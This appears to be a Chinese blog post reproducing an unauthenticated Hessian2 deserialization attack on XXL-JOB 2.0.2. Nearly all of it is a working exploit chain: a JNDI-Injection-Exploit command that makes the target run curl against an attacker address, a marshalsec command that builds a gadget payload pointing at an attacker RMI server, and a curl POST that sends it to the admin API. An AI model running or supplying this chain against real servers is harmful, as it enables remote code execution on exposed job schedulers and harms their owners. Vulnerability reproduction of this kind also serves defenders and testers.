XXL-JOB api未授权hessian2反序列化复现
环境:
XXL-JOB 2.0.2
1.开启RMI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl [Address]:5555"
使用最后一个。
2.生成Payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://[RMI Address]:1099/stbjir >test.ser
3.使用Payload
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://localhost:8080/xxl-job-admin/api
4.效果
![](https://img2020.cnblogs.com/blog/2238945/202012/2238945-20201206172014244-1073424304.png)
PS:
感谢depycode大佬的解答!
参考链接:
https://www.cnblogs.com/depycode/p/14009910.html
https://xz.aliyun.com/t/8456?page=5